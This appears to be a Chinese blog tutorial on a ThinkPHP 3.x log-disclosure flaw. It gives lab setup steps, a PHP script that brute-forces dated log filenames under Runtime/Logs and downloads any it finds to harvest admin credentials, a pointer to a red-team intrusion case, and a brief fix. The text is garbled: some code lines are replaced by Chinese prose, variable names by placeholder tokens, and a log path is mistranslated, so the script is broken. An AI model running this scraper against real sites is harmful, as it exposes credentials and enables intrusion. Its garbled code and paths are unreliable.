[id_96636[id_415689256]517]
ThinkPHP在开启调试模式时会于Runtime目录里记录日志文件,而且调试模式很多网站并未关闭
ThinkPHP系统在初次部署时,会在运行时文件夹内自动建立日志文件记录系统活动,这个功能是系统自带的标准配置
THINKPHP3.2的目录布局为Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1的文件组织方式是这样的,运行时生成的日志存放在Runtime目录,Logs子目录下,Home子目录里面,文件名以年月日命名,具体为16年9月9日的日志文件,文件路径是Runtime\Logs\Home\16_09_09.log
日志的存放格式如下:以项目名称为起始,接着是Runtime,然后是Logs,再往下是Home,最后是按年月日命名的文件,文件名以.log为后缀
注意:
日志信息非常详细,所以影响应该很大。
例如:
观察记录文件能够识别出管理员发起的访问动作,进入该动作的页面,无需提供账号密码,即可直接取得账户的认证凭证,并且顺利进入该站点
2、查看日志获取管理员的密码
二、环境搭建
获取thinkphp3.2.3版本的开源代码,网址指向www.thinkphp.cn/download/61…
下载后,使用phpstudy搭建
三、漏洞复现
根据简报所述,我们已掌握该漏洞的成因,其日志的存放方式为:项目名称\执行时\记录\主页\年份_月份_日期.txt,逐个手动验证,颇为繁琐,可借助程序完成检测,以下为php编写之脚本代码:
$url = 那个网址指向的是ThinkPHP框架的3.2.3版本,具体路径为“http://127.0.0.1/thinkphp_3.2.3/”。; //目标网站
$log = 文件路径位于应用运行时目录下的日志文件夹中,具体路径为运行时日志文件夹内的家庭文件夹,完整路径为Application/Runtime/Logs/Home/。; 该软件名称可能存在变化,例如会称作应用,具体需自行验证
$stime = "20"; //开始时间,2017年写17
[id_1129600693] = "21"; //结束时间,2018年写18
$url = $url . $log;
for ([id_127200627] = $stime; $i <= $etime; $i++) {
//1月到12月
for ($j = 1; $j <= 12; $j++) {
//1号到31号
for ($d = 1; $d <= 31; $d++) {
//tp3 Log格式:18_01_30.log
$log = str_pad($i, 2, "0", STR_PAD_LEFT) . "_" . str_pad($j, 2, "0", STR_PAD_LEFT) . "_" . str_pad($d, 2, "0", STR_PAD_LEFT) . ".log";
if (check_remote_file_exists($url . $log)) {
file_put_contents($log, file_get_contents($url . $log));
echo "Found out:$log\n";
} else {

echo "$log isn't exists\n";
}
}
}
}
function check_remote_file_exists($url) {
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_NOBODY, true);
$result = curl_exec($curl);
$found = false;
if ($result !== false) {
$statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($statusCode == 200) {
$found = true;
}
}
curl_close($curl);
return $found;
}
运行过程:
需要将tp3.php与php.exe放在同一目录下才行
运行命令如下图所示
如果存在日志信息泄露的话,会有相关提示信息,如下图所示
到目前位置,thinkphp3和thinkphp5都存在日志信息外泄的问题,由于资料搜集过程比较繁琐,thinkphp5的源码放在了知识星球和我的资源库里面,没有单独列出。
四、实战记录可参考以下案例
从外部网络获取Thinkphp3系统日志,进而突破内部网络域控制器,开展红队渗透测试,实施域内目标主机实战操作
腾讯云开发者社区相关网址为云腾讯点字母云点开发者点社区点字母a点其他字符
blog.csdn.net/Fly_hps/art…
五、漏洞修复
清除Runtime/Logs目录内全部文档,将APP_DEBUG调整为非开启状态